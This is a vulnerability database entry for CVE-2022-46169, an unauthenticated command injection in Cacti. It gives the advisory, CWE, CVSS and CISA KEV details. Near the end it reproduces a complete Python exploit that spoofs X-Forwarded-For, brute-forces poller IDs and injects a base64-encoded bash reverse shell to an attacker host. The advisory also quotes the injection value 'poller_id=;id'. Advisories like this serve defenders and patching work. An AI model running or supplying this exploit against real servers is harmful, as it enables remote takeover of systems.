CVE-2022-46169 : Detail

CVE-2022-46169

9.8
/
Critical
OS Command InjectionAuthorization problems
A03-InjectionA01-Broken Access Control
96.25%V3
Network
2022-12-05
20h48 +00:00
2024-08-03
14h24 +00:00
CVE.org
NVD
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CVE Descriptions

Unauthenticated Command Injection

Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVER` variables to determine the IP address of the client. The variables beginning with `HTTP_` can be arbitrarily set by an attacker. Since there is a default entry in the `poller` table with the hostname of the server running Cacti, an attacker can bypass the authentication e.g. by providing the header `Forwarded-For: `. This way the function `get_client_addr` returns the IP address of the server running Cacti. The following call to `gethostbyaddr` will resolve this IP address to the hostname of the server, which will pass the `poller` hostname check because of the default entry. After the authorization of the `remote_agent.php` file is bypassed, an attacker can trigger different actions. One of these actions is called `polldata`. The called function `poll_for_data` retrieves a few request parameters and loads the corresponding `poller_item` entries from the database. If the `action` of a `poller_item` equals `POLLER_ACTION_SCRIPT_PHP`, the function `proc_open` is used to execute a PHP script. The attacker-controlled parameter `$poller_id` is retrieved via the function `get_nfilter_request_var`, which allows arbitrary strings. This variable is later inserted into the string passed to `proc_open`, which leads to a command injection vulnerability. By e.g. providing the `poller_id=;id` the `id` command is executed. In order to reach the vulnerable call, the attacker must provide a `host_id` and `local_data_id`, where the `action` of the corresponding `poller_item` is set to `POLLER_ACTION_SCRIPT_PHP`. Both of these ids (`host_id` and `local_data_id`) can easily be bruteforced. The only requirement is that a `poller_item` with an `POLLER_ACTION_SCRIPT_PHP` action exists. This is very likely on a productive instance because this action is added by some predefined templates like `Device - Uptime` or `Device - Polling Time`. This command injection vulnerability allows an unauthenticated user to execute arbitrary commands if a `poller_item` with the `action` type `POLLER_ACTION_SCRIPT_PHP` (`2`) is configured. The authorization bypass should be prevented by not allowing an attacker to make `get_client_addr` (file `lib/functions.php`) return an arbitrary IP address. This could be done by not honoring the `HTTP_...` `$_SERVER` variables. If these should be kept for compatibility reasons it should at least be prevented to fake the IP address of the server running Cacti. This vulnerability has been addressed in both the 1.2.x and 1.3.x release branches with `1.2.23` being the first release containing the patch.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CWE-863 Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Cacti Command Injection Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2023-02-15 23h00 +00:00

Action is due : 2023-03-08 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51166

Publication date : 2023-03-30 22h00 +00:00
Author : Riadh Bouchahoua
EDB Verified : No

# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE) # Exploit Author: Riadh BOUCHAHOUA # Discovery Date: 2022-12-08 # Vendor Homepage: https://www.cacti.net/ # Software Links : https://github.com/Cacti/cacti # Tested Version: 1.2.2x <= 1.2.22 # CVE: CVE-2022-46169 # Tested on OS: Debian 10/11 #!/usr/bin/env python3 import random import httpx, urllib class Exploit: def __init__(self, url, proxy=None, rs_host="",rs_port=""): self.url = url self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy) self.rs_host = rs_host self.rs_port = rs_port def exploit(self): # cacti local ip from the url for the X-Forwarded-For header local_cacti_ip = self.url.split("//")[1].split("/")[0] headers = { 'X-Forwarded-For': f'{local_cacti_ip}' } revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'" import base64 b64_revshell = base64.b64encode(revshell.encode()).decode() payload = f";echo {b64_revshell} | base64 -d | bash -" payload = urllib.parse.quote(payload) urls = [] # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell) for host_id in range(1,100): for local_data_ids in range(1,100): urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}") for url in urls: r = self.session.get(url,headers=headers) print(f"{r.status_code} - {r.text}" ) pass def random_user_agent(self): ua_list = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", ] return random.choice(ua_list) def parse_args(): import argparse argparser = argparse.ArgumentParser() argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)") argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True) argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True) return argparser.parse_args() def main() -> None: # Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL args = parse_args() e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port) e.exploit() if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Cacti>>Cacti >> Version To (excluding) 1.2.23

References